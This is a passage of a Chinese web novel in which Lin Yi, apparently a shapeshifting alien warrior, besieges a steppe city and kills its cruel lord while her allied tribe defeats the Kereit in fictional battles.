嗯,另外三个跟在庞半天身边来着,现在呼兰六兄弟都是百骑长的级别,经历了辽东一战,林一提拔了一些有军功的下属,韩小六则是插队的,林一很欣赏他的头脑。 人手就是这么个人手,林一是很满意的,展开一张俯视地图,对众人说道:“现在下一步计划是攻打公主城,公主城是按照魏城规制所建,内外城墙叠套为瓮,有角楼马面墙垛一应俱全,易守难攻,但是我们都有些攻城经验了,都来说说如何攻下公主城吧。” 这其实不是集思广益,是在教学生。 缺德军师没开口,他们有很多法子攻城,也知道林一有很多法子攻城,跟随一个熟知兵事又操作如神的主君就是很踏实很安心的。秃发千骑率先沉声开口道:“按照可敦年初攻打辽东城池之法,或许可以夜袭骗城之类,倘若内部松散,还可以白天伪装商队潜入一些人,夜晚突袭里外配合打开城门。” 叶撒千骑想说的话被秃发抢先说完,只好闭上嘴巴,还瞪了他一眼。 呼兰六兄弟里的老大呼兰阙利说道:“公主城年久,也许可以找到一些城墙薄弱点攻打,打出个缺口进入。” 秃发千骑马上又道:“先围困,再挖地道!” 众人发言比较踊跃,用的都是林一使过的法子,韩小六琢磨了半晌,忽然灵光一闪,试探地问:“直接围城,散播圣湖消息?” 林一一把按住韩小六,想把他举起来,韩小六熟知这个行为模式,连忙摆手后退,有些发臊。这其实不是他自己想到的,而是摸索出来的林一的想法,最开始要绕行在丘陵扎营,很明显是做好了打圣湖塔塔尔本部的准备,然后改了主意变成和平接手……其实韩小六压根没明白为什么这么多人就像羊羔一样说啥听啥,雪域人倒是明白的,这些人本来就是塔塔尔部筛选过的羊羔劳力,是被一代代驯化出来的。 总之和平接手之后,有了圣湖这个大后方,实际上怎么打都行了,可是林一先前却答应过这些本部居民,不会造成太大伤亡,也就是说,她要让公主城骑兵们投降啊! 自古要人投降,岂有来骗来偷袭搞阴谋诡计的呢?当然是亮出手腕来,亮出实力来,再散布一些你们的亲眷过得很好,现在想接你们过好日子之类的消息,这叫恩威并济。 林一确实是这么想的,她其实不怕打恶战,再血腥的场面她都经历过。源生战士被制造出来就是为了近身肉搏,是可以一发歼星炮下去,可被虫族占据的宜居星球或者资源星球能这么干吗?实打实的肉搏才是最经济实惠的战争方式,她从生下来开始,杀戮非常多,已经到了厌倦的地步。 这个星球的人类很小很弱,即便是敌人,也不是残暴的虫族,她总觉得那些人上人像虫族,杀起来是没什么感觉的,而这些凿井而饮,耕田而食,放牧牛羊,捕捞渔获的黎民众生,她很难下得去手。 天明出发,万人骑兵大摇大摆上路,因为马匹紧张,行军速度不快,但消息传得快,公主城没什么军情探子,只是有牧民发现了过去报告而已。 得到消息的时候,右贤王阿勒坦赤那正在吃午饭。 他上年纪了,吃不动肥腻的牛羊肉,吃的是魏朝的精米饭,配的是魏朝的厨子制的菜肴汤羹,大碗小碟摆了十几个菜,有男女奴隶各五人在帐里伺候,这是很平常很悠闲的一天,下午他也许出去巡城或者打猎,晚上挑个好床伴。 正吃着菜肴喝着汤,享受着美人按摩肩背,就听说苏赫骑兵打过来了。目前城门已经关闭,但是被苏赫骑兵把守住了四处城门,这些苏赫骑兵很贼啊!压根就不进箭矢射程里,塔塔尔部流传下来的守城精要压根没法用上。 阿勒坦赤那一听苏赫两个字就勃然大怒,然后很快回过神,这不是被人犯了忌讳,而是真的打过来了!强烈的恐惧席卷全身,很勉强地压了下来,年老的右贤王抱着最后一线希望问:“不是苏赫阿那亲至吧?他也上年纪了,怎么能如此劳累行军?” 这话简直比林一都要关心苏赫阿那,传讯骑兵喏喏地点头,“不是苏赫大汗,是苏赫部的可敦,就是打下辽东的那个……” 阿勒坦赤那悬着的心才放下一半,然后彻底死了。 苏赫阿那那样的威名,他尚且还有一线希望,雪域人毕竟很不会攻城,但这位苏赫可敦打下过魏人的城池,她难道还不会攻城吗?那是攻城老手了啊! 第72章 林一攻城的时候,苏赫部落正在防守反击。 自小咸水埋伏兵开始,苏赫阿那和林一都认为克烈部会动手,在这样的情况下带兵去打塔塔尔部可以算得上险招,但不能不打。克烈部是非常强劲的对手,又有中原王朝的支持,苏赫部就算能胜也要大动筋骨,到时候和塔塔尔部之间就攻守势异了,所以林一宁愿整合黑水部这些没什么战斗经验的新骑兵,也不愿意大量携带苏赫精锐北上。 苏赫阿那回到部落就开始整兵待战,雪域部落之间少有攻防,毕竟地形地势摆在这里,苏赫部除了大河谷之外几乎都是平地,利于骑兵对冲,不利于守卫战,那就不守了呀! 黑帐外迁至大河谷沿岸,苏赫部落的平民内迁至大平原,人其实都还好说,牛羊就只能做好标记暂时散放后方。倘若能打退克烈部,无非是花些时间找回来,打不下来,这就是敌人的供给。苏赫部落和平了好些日子,真到了开战之时仍然没什么沉重气氛,三天两头的军演,隔三差五听林一演讲,大家心里其实都很期待一场真正的战事。 去除林一带走的五千苏赫骑兵,滞留辽东的三千骑兵,加上寒季选拔出来的新骑兵四千,以及临时从两个附属中等部落调用六千骑兵,目前苏赫部落的骑兵数目在一万七千人左右,在雪域可以称得上恐怖级别的兵力。 克烈部威名在外,但成分复杂,以扎哈额真为例,他年轻时克烈部没有现在强盛,但人员都是克烈本部人,后来拔都大量吸收外来中小部落,克烈部的人口曾经短暂飙升至三十万。 人多地贫,只能将内部矛盾转化为外部冲突,克烈部于是疯狂南下劫掠资源,然后在魏朝柱国元帅叶朔的连年打压下一度人口锐减,兵员不增。直到五年前叶朔老病而死,克烈部再度疯狂扩张,甚至不惜人口兵力打下辽东作为大粮仓。目前克烈部其实不算是原本的那个大部落,而是几十个中小部落和克烈本部的杂糅势力。 嗯……就像是魏朝某个郡的特产细面,盛出来明明是一小碗,但是只要吃得慢了,就会开始在碗里无限滋生,压根摸不清对面有多少可战之兵。正如滋生的细面,克烈部年年都在战损,年年都在添人,给人一种杀不尽死不绝之感。 从前这是魏朝的心头之患,现在轮到苏赫阿那来头疼了。 仍旧是苏赫阿那运用最纯熟的三军体系,克托和叶利诃各自带领左右二军共计一万人,苏赫阿那亲领包括亲卫军在内的七千精锐主力军作为中军,左右二军为侧翼沿大河谷铺展而开,中军在最前方列阵等候来敌。 拔都可汗年老阴鸷的脸更加显老,他在距离苏赫部落一百七十多里处扎营,奢华的金顶大帐由十多个帐区包围其中,往来都是披毛带甲的克烈骑兵,帐中是一些原本的中等部落之主。 众人脸色凝重,有的还十分难看,直接开口道:“大汗,魏朝不过略略给了些好处,就要我们的勇士拿命去和苏赫阿那拼,雪域拢共才几个人,就算能赢,我们是吃不下苏赫部的!” 对他们这些散装的部落而言,谁强跟谁,大部落可不是这样,尤其苏赫阿那的部落有那么多规矩,做惯平民的人很难驯服成为奴隶。对现在的克烈部来说,辛辛苦苦打下了富庶的苏赫部落,难道就为了融合他们?那是必然要走到杀死男人抢走女人那老一套的,往往这种血战都要死很多很多人。 也有人提出不同意见:“还没开战,就先想着能胜了,我们……我是说我们啊,谁打赢过苏赫阿那?” 这话一出口,金顶大帐里便显得比较沉默,拔都的脸色更阴沉。苏赫阿那起家之时,他正当盛年意气风发,他想要塔塔尔那块地,又暂时吃不下,顺手嫁了个妹妹来拉拢扶持一个毛头小子的部落来作为缓冲带罢了。谁料之后那些年月里,风云变幻,王旗起落,昔日被按着头结亲的白奴混血,长成如今的雪域霸主。 巴特铁木尔脾气爆,他新婚便闹笑话,这些日子被父汗按着头去给玉华公主做温柔驸马,他哪里会哄女人!总之就是进帐子笑容满面陪公主,出帐子看到羊都想砍一刀! 这会儿兵力都铺开了,还听见这丧气话,他顿时呵斥道:“未战先怯、未战先怯!他苏赫阿那是叶朔吗?叫你们这样惧怕?何况叶朔都死了,苏赫阿那也会死!等抓住他,我要划烂他的脸,把他穿在铁签上当人旗用!” 他满脸暴戾,嘴里说着些不三不四的酷刑,没什么人觉得他能说到做到,这么能的话,是谁新婚夜教训个妻子都被按跪着磕头? 克烈二王子苏阿奇在这样的场合多半是沉默的,他只是说了一句:“该联合塔塔尔部的。” 拔都没理会,计划是计划,如今阿勒坦穆尔和霍都还不知在哪里,塔塔尔部必然在经历内乱,也算是个良机,他苍老沙哑的声音响起:“好了,都到这个时候就别内讧了,下午出战,先摸摸苏赫部的底,从他左侧突袭试一试。” 左军是叶利诃在带,又不是叶利诃在带,格桑虽然还是百骑长,但她带兵有瘾,一百人的骑队是真不够她用的,早在开战之前就经常带领一些健妇练军阵。这次开战,她带了自己的健妇军共计两千多人,随同叶利诃作战,她几乎不干涉叶利诃的指挥,但她只要开口,骑兵们几乎都会马上听从。 叶利诃试图摆出丈夫和万骑长的威严,一军怎么能有二主?这是会出事情的! 下午,晴空飞雁,蓝天碧草,放在平时正是放牧的好时节,但微风中夹杂着铁腥气,一支三千人的骑兵队伍在平原上策马飞掠而至。远远的先有飞箭如雨,第一波箭雨通常不在射程,而是起到干扰视线和先声夺人的作用,但就是这么寸,正在呼兵回防的叶利诃背心挨了一箭。 早晨才和叶利诃吵了一架,格桑离他比较远,见到这一箭顿时红了眼,一把夺过战旗,泣血嘶吼道:“列阵,上弦!为万骑长报仇!” 大军陡然变幻阵型,开始比较松散,打仗不是约个时间出来群架,是不知道敌人什么时候来的,甚至还有人马分离跑去撒尿的,但多次军演的肌肉记忆一下子启动,裤子不提直接飞身上马,弓箭上弦各自随骑队长冲杀而出。 叶利诃有些茫然地看着大军猛冲,摸了一下后背的铁锁甲,啊不是,怎么连敌人都第一个先杀我啊? 军演的时候,哪怕他再三申明自己是披甲的,但挨了粪团雪团之类就是算死的,他也不知道死了多少次,大概骑兵们都习惯了他死之后迅速换人指挥了,可这是真的在打仗啊! 叶利诃骑马四顾心茫然,我没死啊,我没死啊!我穿的是重甲还戴头盔,不是从前光着膀子打仗那会儿了,这箭特么的是卡我铁甲缝上了啊。 倒是也有人注意到万骑长没死的,可是气氛已经烘托到这儿了,万骑长你哪怕意思意思也趴马背上去嘛,你这样不配合弄得我们好尴尬呀! 反正注意这事的人不多,两军互射箭雨几轮后,装备更精良的苏赫骑兵又携带有“为万骑长报仇”的血泪士气,两军刚开始重叠就开始暴打对面。这不是军演,反而更加激烈,军演是对着自己人,是要收着手怕真打出毛病的,对着克烈人那是完全不用留手的! 有人掏出工兵铲,携飞马之势斜铲下去,当即铲断克烈骑兵一排手指! 有人举起重盾,邦邦邦邦就是几下,懵逼又伤脑。 还有人一口老痰先至,趁对面睁不开眼,随后大刀劈砍,收获一个人头,一看就是鸟学接班人。 格桑呼兵列阵,前后包抄,切割战场,几轮冲势下来,克烈骑兵已经迅速溃散而逃。骑兵就是有这样的优势,一旦逃散,敌军也很难在维持阵势的情况下完成追击,但是林一可是在苏赫骑兵之中设置了层层军制用来应对这样的场面,格桑立刻换阵铺展而开。 以二十骑为最小单位,大军四散追击溃兵,胜势之下少见回手。约莫小半时辰,左军完成了战场清理,重新整队列阵,许多俘虏和战马被分离开,缰绳成了捆手脚绳,一个个蔫头耷脑。 格桑一手握战旗,一手揽住叶利诃,在他胸甲上重重锤了一拳,没好气道:“没死你装什么死?老娘真以为你没了!” 叶利诃欲言又止,真这么爱我的话,你倒是放下我的战旗啊! 我的格桑啊,你难道不觉得一只手无法抱住我宽阔的腰身吗?放下战旗,你就可以抱住我,拿起战旗,你这是在很随便地揽着我啊喂! 不过他笑了出声,主动伸出手抱了妻子一个满怀,他喜欢举旗而战的格桑! 此役,三千克烈骑兵,一去不曾回。 第73章 双线作战很考验一个势力的硬实力,一线大捷二线守成已经算是很厉害,这也是林一原本的计划,苏赫本部只要守住就好,等她平了大后方,才是反击之时。 但现在情况出现了一点变化,林一实在低估了被她一手调教出来的苏赫骑兵战力,也高看了克烈部松散的联盟体系。 还非常小看了苏赫阿那。 左军遭遇突袭之时,苏赫阿那没有选择集兵救援,而是亲领主力军冲了一下克烈大营,自侧翼杀出。同样是一场试探性进攻行为,他看穿了克烈部外紧内松的体系,专门绕开克烈本部骑兵,狠狠揍了几家新附的中小部落。 战至傍晚方休,苏赫骑兵人人披甲,军阵齐整,战损极小。克烈部却不同,因为兵员太多,不光甲胄不够分,连兵器都良莠不济,有的用的是铁勒出品的精弓好刀,有的仅有一把短兵,甚至不少人手里握着的是削尖了的木矛。装备精良的当然是克烈本部骑兵,装备好坏不一的则是后加入的中小部落联盟兵力,很好辨认。 其中先锋一线有个骑在马上的瘦弱身影非常显眼,是个少女模样,眼有三白细狭长,狠透戾色,手中一长一短两把兵刃配合收割。旁人还要奋力拼搏才能伤人命,而她甚至能在一刀毙命后,十分灵活地使用剥皮小刀顺手割下敌人一只耳朵收入囊中,是雪域部落不怎么常见的战时习惯,祭祀虽然有时会割下特定部位,但普通人没资格动这个手。 这割耳之习,来自魏人。昔年魏军强盛,杀敌本来以虏首计军功,虏首不便携,又改为计算虏耳。 这位猛人,正是连弑母女二主的赵家部曲之女赵春儿,仅是一战她就凑了一半赎罪的军功,杀敌十一人,她用来装耳朵的小袋子里码放着新鲜的耳朵,呈交给格桑验看时,少女脸上带有一丝不明显的紧张局促。 赵春儿用来割耳的那把剥皮小刀本是格桑的,是赵春儿犯案后被林一揣起来,又还给她的,结果从黑石部落回来后,格桑就把刀再次交给了赵春儿,少女便把这刀珍藏袖中。她特意用粗陋的缝制技术在袖里缝了个刀袋,并不是像格桑那样随意挂在腰间。 格桑数了数耳朵,惊讶地发现竟然全是左耳,不存在一个人割两次充数的可能性,要知道赵春儿可不是战后去割的死人耳朵,而是在杀人的同时顺带割耳啊! 格桑一点都不觉得赵春儿可怕,她大手拍了拍少女瘦削肩膀,大声赞扬道:“好!好女子!等你赎罪,我要上报可敦,请你做女军总教头,专教你这一身杀人技,好姑娘,你愿意吗?” 赵春儿的脸噌地一下红透了,她说不出来话,只是点点头,又从怀里摸出一块被宽阔叶片包裹着的厚实大肉饼。 苏赫部可没有制作肉饼的习惯,这明显是哪个倒霉的克烈人携带的美味私藏,少女把饼塞给格桑大娘,又很恭敬地低头鞠躬,很快跑开了,背影甚至看起来有一点可爱。 比起苏赫部这边的其乐融融,克烈部军帐区一片怨声载道,当然,怨气最大的是后加入的那些部落。 早入伙的已经和克烈本部骑兵装备上差距不大了,一穷二白没啥好装备的多是近年、甚至就是去年跟随克烈部南下的部落。南下没劫到好处不说,还损失了许多青壮,不得不加入克烈部以保全剩下的人口,本就有怨,结果一战下来,死的多半是他们的人! 有几家部落族长直接不干了,在大帐怒骂道:“克烈骑兵人人披甲,为何要我们冲在一线?有甲胄还不够,要我部青壮的血肉来再挡一波?” 拔都眼皮下垂,阴冷冷地说:“科林,已经没有延山部落了,你们都是我克烈部的人,有甲骑兵,都是自己掠来的财富,这次战胜苏赫部,你们也能穿甲戴盔,不要心有怨怼!” 科林族长怒容一滞,骂骂咧咧的声音小了些,然后坐了回去。 其他人的脸色更不好看,或者说自从来到苏赫部地盘上,踏上这片黄金草场后,大家没人脸色好看过。你压得住一家,压得住人心向背吗? 夜晚,苏赫部集兵一处,分发油盐充沛的羊汤羊肉和土豆,土豆是主食,很能饱腹。明明才接触土豆不久,但苏赫部人简直就像是遇到了最火热的情人,对土豆充满了爱意,每天琢磨怎么吃它。这会儿有人烤土豆,有人烧土豆,还有泡羊汤的,伴着肉吃的,甚至有牛乳里加土豆泥的异端。 而即便是在热火朝天吃大锅饭的时候,也都是按三军顺序来,同时间段必须维持一军的警戒,右军今日不曾出战,精力很足,在最后一个吃饭,没人有意见,大家都很信服。 北至塔塔尔部,林一已经围困公主城五日之久,魏人围城也有兵法的,大军围城首要是粮草要足,其次围点打援,但很可惜,塔塔尔部没有援军。 夜风吹拂,林一举着一只油光发亮的烤羊腿,对王澈说:“吃完我进城看看,按理不应该啊。” 这几天真是什么招都想过了,除了直接飞进城里啄死阿勒坦赤那之外。林一和王澈崔殊所设想的最好局面是,城中内乱,有人拿着右贤王的人头开城门投降,这样才是真正瓦解掉了一个传承几千年的雪域王族势力,是打断了他们的脊梁。 但是人家没有按照剧本走,林一也实在不想在这上头浪费时间了,她不能在塔塔尔部耗太久,至于什么王族死灰复燃,那就让以后的自己去烦忧吧。 王澈甚至没有坐他那个轮椅小车,而是席地坐在草地上,咽下口中的热汤,擦了擦嘴角,才开口道:“低估了阿勒坦这个姓氏在雪域的威望,五天了,他们自己动手的可能性比较低了。” 崔殊捋着他的两撇小胡子,林一只要看到他一张清俊脸庞留两撇丿-乁这样式的小胡子就会笑,尤其他自己还不觉得的样子,经常会很爱惜地在捋。 崔殊瞥林一一眼,然后笑着道:“既然这样,不如先行攻城,事后怎么都好说。” 林一还在琢磨,王澈直接把话说透,“动手,然后找个投降的,把我们设想的局面编出一套来,阿勒坦赤那可以死在我们的手上,但不可以死得像个英雄一样。” 这一点上,三个人是达成共识的,想要和平吃下塔塔尔部这块地,只靠几场演讲很难,林一很努力地把公主城的塔塔尔王族丑化成为魏朝世族那样的形象。但实际上,在雪域这样贫瘠的地方,一个血脉流传几千年的雪域大部落,虽然期间换过几个姓氏当家吧,但这其实更能证明阿勒坦家族对塔塔尔部的存续是有极大功绩的。 魏朝世族也一样,春秋无义,战国互攻,能在天下乱世之时把家族代代传续下来,本身也代表了一种生存智慧。在佃户眼中敲骨吸髓的主家老爷,对同宗族的小辈很有可能是一位温厚长者,一个大部落不可能都是奴隶和奴隶混血,是有阶层的,想叫这些人收心,这“温厚长者”只能死得不大体面些了。 夜色掩映下,林一化鸟而飞,像个小型战机一样一飞冲天。王澈是第一次看到林一化鸟,他之前倒也信了,鸟人这种存在可以完美解释林一身上的种种异常,而且他也大致能猜到那个要他画进图腾里的丑鸟大概就是林一本来的模样。 可是此时此刻身临其境,他是真的感到了一丝窒息。 美即是丑,丑即是美,人对鸟类的美定义是什么,这些完全和林一的鸟躯无关,这巨鸟体态没有一丝一毫无用的废处,连他曾经认为突兀的鱼尾都显得强壮有力,虽然很像是拼凑的东西。 看了很久,直到夜幕浓稠再也望不见鸟影,王澈揉了揉发酸的脖颈,问崔殊:“你信这世上有圣人吗?” 崔殊白了他一眼。 王澈继续揉着脖颈,好像也不在意崔殊的答案,喃喃自语地道:“窃贼、圣人、*盗匪,圣人做窃匪,窃匪为圣人,是耶非耶?异人,你信不信这世间,能再有一位天下共主,能再出一曲《击壤歌》,能涤荡世间魑魅魍魉,真来一场见之天下安宁?” 崔殊往篝火堆里添了块黑石,小胡子被夜风吹得一飘一飘的,冷笑着说道:“我看你是疯了。” 王澈仰头不语,仿佛尘世间的一切都不在他眼里,他眼中唯有天空,目下无尘。 崔殊低声道:“你我都是世族出身,你当知现在的世族是依靠什么在生存的,真出一位你口中的圣君,你有想过世族的未来吗?你我承蒙祖荫,代代显贵,岂有传到此代,却叫后世子孙泥泞加身,和平民争出头的道理?” 崔殊心绪不平,眉头深锁,不知是在说服王澈还是说服自己,“帝力于我何有哉,帝力于我何有哉!圣君不索黎民,不享脂膏,不食人间烟火,你要圣君如此,还要臣子如此,你要的太多了!王清仪,我早知你疯了,但没想过你这样疯!” 王澈还是不语,仰着头,目光只是看着天边若隐若现的春月,看起来傲得惊人。 崔殊走来走去,说了很多话,雪域春季的夜晚寒凉,他却出了一头的汗,直到再度走到王澈身边,唇瓣颤抖想说些什么,忽然觉得王澈姿势不太对。 他维持这个揉脖颈仰头看天空的姿势,是不是太久了点? 哦呦,这狗东西扭到脖子了。 第74章 公主城其实有个挺好听的原名,叫北都,不过二百多年雪域人都管它叫公主城,原名叫什么也无人在意了。 林一飞过城墙就找了个地方落地,毡衣一披,帽子一扣,大摇大摆就走在了路上。在魏朝,哪家的部曲私兵可能一目了然,比如风氏主家给部曲的四季衣裳颜色偏黄绿,姜家喜白袍,偶尔也有同色的,但衣裳制式不同,在同一郡的会做出区分。魏朝的兵卒则以黑衣为主,上国嘛,染料来源多且丰足。 雪域可没这个区别,苏赫部落和克烈部落打仗,战前为了区分,苏赫阿那让自家骑兵袒露右臂,拔都让克烈骑兵全都颈围皮毛,以此避免误伤。 同样的,林一双手揣在毡衣袖子里走在路上,和那些公主城居民也没什么区别,她走得堪称闲庭信步,一点都没有混在敌人大本营的慌促,反而像田里吃食的麻雀一样嚣张。 城里现在的情况不是很好,家家关门闭户不见灯火,走了一会儿远远可见城中最显眼的建筑,七重塔楼。当初靖容公主的头颅被挂在城头,但后来她的后裔重新得权,因为尸身寻不着了,便起了一座塔楼将她的头颅供奉在上面,如今的阿勒坦王室也基本都是那位大汗的后代。 塔楼常年点着酥油灯,不远处就是宫殿群,所以说公主城与其说是城,不如说是仿造魏朝洛都建造的王都。完全由石块堆砌而成的宫殿在某种意义上比洛都还要奢靡,以糯米灰浆堆石砌墙,以牛乳蜂蜜调和花瓣作为一部分涂料来刷墙面,从建造之初开始,每年一刷。 宫墙凑近了还能闻见奶味和甜香气,今年的牛乳刷墙毕竟刚过去还没有多久,林一光是贴着墙走的这一小段路,就看到好几个瘦巴巴的身影偷偷摸摸舔墙了。 鸟不懂,鸟不理解,为什么一边在冬季抛弃老弱病残,美其名曰维持部落生存,但一边又把富余的牛乳用来刷墙,叫穷苦人只能巴巴地去舔墙上那一点甜香。当然人家大萨满也有话说的,说这是沾福气,是一种单纯的祈福行为。 林一找了个没人的地方窜上塔楼,顺带看了看靖容公主的头颅,头颅被放置在一个镶嵌彩宝螺钿的漆盒中,盒子封死的打不开,周围摆放了许多祭祀之物,用魏朝的锦罗做帘,仿佛还维持着生前的尊贵。对这些闪闪发光的宝石器具,林一兴趣不大,顺手拿了一盏琉璃灯照亮,就出了塔楼直奔右贤王居所。 右贤王的府邸也是洛都贵人私宅的标准,分内外里三层外三层,最外层驻扎私兵,向内则是仆从女侍的宿舍,再往里走到内宅,一方面是麾下的住所,一方面是阿勒坦赤那的宠侍女眷和儿女,他自己住主宅大院,这在魏朝的住宅里都算规格很高的。 人多就乱,尤其这几天阿勒坦赤那一直没睡,又要弹压城中穆尔霍都父子的拥护者,又要面对公主城被围困的困境,他实在是无心睡眠。原本是希望林一远途来此辎重不足,早些退走的,但昨日城头守军明晃晃看到圣湖本部的车拉牛拽来给这些苏赫人送鱼送羊,双方相谈甚欢,还就在城下熬起鱼羊汤来! 可恨!就是五万头羊也要杀一阵子,这些苏赫人到底是怎么拿下圣湖本部的?还给敌人送上补给了! 总之阿勒坦赤那双眼熬红,右贤王府邸内外几乎都亮着灯,哪有主子不睡奴隶先睡的道理,就算活计已经忙完,众人也都沉闷地找些事做,能不往内宅去就不去,生怕惹火上身。 塔塔尔部的大萨满是个满头鸟羽的老者,有些沉默地坐在右贤王对面,听他说了一通之后,微微摇头,沉声说道:“拉拉草是可以让人马在短时间内腹泻中毒,但是找不到那么多拉拉草,也很难大批量下毒。最重要的是,几百年前,魏军会误食拉拉草中毒,但现在不一样,围困我们的是苏赫部,他们认识拉拉草,不会误食。” 阿勒坦赤那眼眶泛红,苍老的声线微微沙哑,“没有其他的法子吗?比如咒杀主将……” 萨满老者仍然摇头,微微抬起头,眼睛里竟然只有眼白不见瞳仁,“我感受得到,她有五头熊的力量,十八只鹰的敏捷,她的灵魂是飞在高空之上的,无法触及。” “那就杀一百个奴隶来祭祀!不、一千个!” 萨满老者还是摇头,白色的眼睛精准地对上右贤王发颤的面容,“灵魂的质量不一样,奴隶的性命无法咒杀她,我看得到,阿勒坦的命途只有一条,现在打开城门,可以免去无数的死亡!” 阿勒坦赤那缓了很久,只是说:“请大萨满回住所吧。” 头上插满鸟羽的老者在两个年轻萨满学徒的搀扶下缓缓离开了,大萨满的脚才踏出宅院,阿勒坦赤那就挥起马鞭使劲抽打起一个端酒壶的奴隶来。 那奴隶年纪很轻,但马上跪倒在地护住头脸和腹部,弓着脊背挨打,但还是被打得皮开肉绽。不多时,两个侍从过来把遍体鳞伤的奴隶往外拖去,阿勒坦赤那还不解气,但打得累了,来回走了几步,喝道:“去叫些魏奴来,带一笼狼!” 怒火只有通过鲜血来浇灭,这是右贤王府邸比较常见的人狼搏杀游戏,很快有人用铁链牵来一列魏奴,又搬来一笼十几头狼。 一群魏奴,人数在三十左右,大部分都是抽抽噎噎弓腰弯背,还有父母模样带着幼童的,其中有个很高大的身影,也很显眼。一身厚实毡衣在奴隶中算是穿得好的了,毡帽压低,只露出白皙优越的很像魏人面容的下半张脸。 林一也知不道自己是怎么混进来的嘞。 她在参观完靖容公主的景点后就来探情况了,右贤王府邸也在公主城的宫殿群范围内,也是牛乳刷的墙。她在一处内墙底下看到一群缩着取暖的奴隶,有人在舔舐墙面,也有人瑟瑟发抖抱着入睡,她往前走了几步准备问问路,然后就被人拍了拍肩膀,然后就莫名其妙被一起带来了。 当然,如果不是那些侍从说要带他们去见右贤王的话,林一不会把手伸出去让人拿铁链子锁的。 阿勒坦赤那没什么心情看人哭哭啼啼,他心思甚至不在看狼群血腥进食上,一边想着对策一边偶尔往下看两眼罢了。如果他心情更好一点,还会给奴隶武器,让他们团结合作去斗狼,但今天他心情很恶劣,只想看狼吃人。 挥了挥手,立刻有人从奴隶里往外拖人,庭院中间有个一人深的大坑,人丢进去后短时间爬不上来,狼也一样,这巨坑底下有未收的尸骨,人的狼的都有。 侍从也知道大王想看什么,最开始要去拖被母亲护在怀里的幼童,林一过去扒拉开了,又要去拉扯女人,林一再次扒拉开两个侍从,拉人的侍从怒了,对视一眼,然后把林一往外推。 推了一下,推不动,两人索性一起,林一终于是明白了情况,看了一眼被撵进巨坑的狼,自己朝着坑那边走去。 鸟人从这头下去,狼被从另外一头撵进去。因为事发突然,没有提前饿狼,其实狼群是才吃过不久的,又因为不是自然狼群,只是近期抓获的一些散狼,还没有形成狼王,狼们一下巨坑就散了开来,没有一个朝林一那边去。动物有时候比人敏感得多,侍从敢去拖林一,狼是一点边都不想沾。 林一站在巨坑一角,狼群散在巨坑边角,阿勒坦赤那没等到惨叫声,思路一断,往下一看,顿时怒道:“怎么还不斗?” 林一仰头,手揣在毡衣袖子里,没吭声。 她也在琢磨,这时候爬上去把老头弄下来,算不算死得不体面。她感觉都不用上狼,光是扔下来就能摔他个半身不遂。 侍从们很熟练地拿竹竿去捅狼,狼的智力不低,被人捅了又一时无法报复的情况下,去攻击巨坑中唯一的人是最常见的选择,但是好几匹狼被竹竿打了,都只是发出几声咆哮,还是夹着尾巴没有去贸然攻击林一。 然后上头又开始往下扔人了,是最先被拖拽的幼童,林一伸手接住了,看到孩子母亲趴在坑边,她举起孩子塞过去,然后就窜上地面。林一几步上前,一把按住阿勒坦赤那的脖子,往他漂亮的漆桌上一拍,老人的半边颧骨都拍出血。连离得最近的侍从都没反应过来,阿勒坦赤那一贯距离巨坑都比较近,人上年纪了眼神不大好,需要就近欣赏,这下好了。 林一又砸了一下,鸭子嗓沉沉的,“城外大军围困,你在城里看人表演这个?被打死活该!” 她把毡帽又往下压了压,一点都不脸红地说:“我是塔塔尔部的奴隶,我今天就打死你这个主人,都不要动,不要和我抢。” 周围的侍从到底还是有护主心切想搏个功劳的,从林一背后伸出刀尖来,刀还没碰到林一就感觉到了,抬手一巴掌把人打飞出去老远,回头又给了阿勒坦赤那脑袋一拳。 这一拳让右贤王浑身一软,挣扎正起劲的手脚也往下滑,林一又锤了几下,把人往上拖了拖,整个平放在漆桌上,确认了一下是真死了,把尸体丢在原地,扬长而去。 她走后,才有侍从呆呆地跪爬过去,摸了一下右贤王尊贵的脖颈,动脉不跳了。 一到没人的地方,林一就鬼鬼祟祟地猫下腰,用毡帽挡脸,失策了,上头了,她也没想过这个时候了阿勒坦赤那还有花招玩,希望真到了受降时没人认出她,她不是林一,她是奴隶,奋起反抗弑主的奴隶。 * 塔塔尔部亡于魏末帝二十四年,彼时汗王父子皆失踪。右贤王名阿勒坦赤那者,性凶戾,素无能,上率万军围困其在北都。是夜,不修刀兵,玩乐通宵,笙歌燕舞不绝,有奴奋起,斥王无道,杀之。次日,大萨满开城降之,北都遂定。 ——《北都志。二》 第75章 三个大部落开战之际,商人的活动是很难开展的,汪古部原本定好的通商路线也中断了,维持在一个不远不近的地点观察情况。不止汪古部,许多的部落都在观望,甚至可以说整个雪域都聚焦在了这一次三王会战上。 会战通常指一个地区之中,两个以上的大型势力决胜负的大战,完美契合如今的情况。以苏赫部落为主体来叙述,情况目前是:部落可敦率领一部分兵力北上去攻塔塔尔部,苏赫大汗转头迎击克烈部,是一场标准的双线作战。塔塔尔部毕竟不近,那边的情况很难说清楚,但苏赫和克烈两部交战的局势却越来越清晰。 克烈部的兵力大于苏赫部,苏赫部的精兵远胜克烈部,几场战事下来,克烈部损失了很多外围兵力,苏赫部几乎无损。 杨裳江骋父子已经回到雁门郡,但也在时刻观察雪域这边的战局,每隔五日一次情报传达,再经由雁门传讯洛都,魏帝对此事也异常关注,老头对自己驱虎吞狼的妙计非常自信,还秘密传书杨裳,要他把握好机会。 什么机会老头没说,要杨裳自己领会,杨裳才不管他放什么屁,自古以来就没有中原大军反攻雪域的,笑话!那样的穷地如何补给大军?倘若只带精兵呢?他娘的把精兵送在那蛮荒之地是吗?要不要再把老子也送了啊!发神经! 说实在话,贫瘠的雪域地广人稀,只不过是一窝大些的山贼水匪,对中原王朝来说永远是癣疥之疾,雪域部落最强盛的时候,算上老弱妇孺也不过能养个五六十万人,而中原王朝呢?人口可是以千万计数。 无非是各关隘的守军将主各有心思罢了,谁也不想让自己的兵卒受损,上面不一定给补。甚至有的空饷吃多了,在册吃饷的人数是真实兵力的两倍,也就不愿意和雪域那些穷鬼硬碰了,无非抢抢庄稼人嘛。除了克烈部几年前发了一回癫,送了那么多人命夺了个辽东,雪域部落其实很讲“规矩”。 五日刚过,雪域那边就传来新战报,克烈部不敌苏赫阿那,截止目前战损七千余,受俘无算,苏赫骑兵令行禁止,军阵齐备,疑似有魏人军师指点。 杨裳直接昧下最后一句情报,他是个相当精明的守将,掌控身边所有人的信息,自然也清楚妻子娘家被流放至边关时,曾有数名子弟出逃,在不久前送嫁时,更是直接摸出王澈身份。 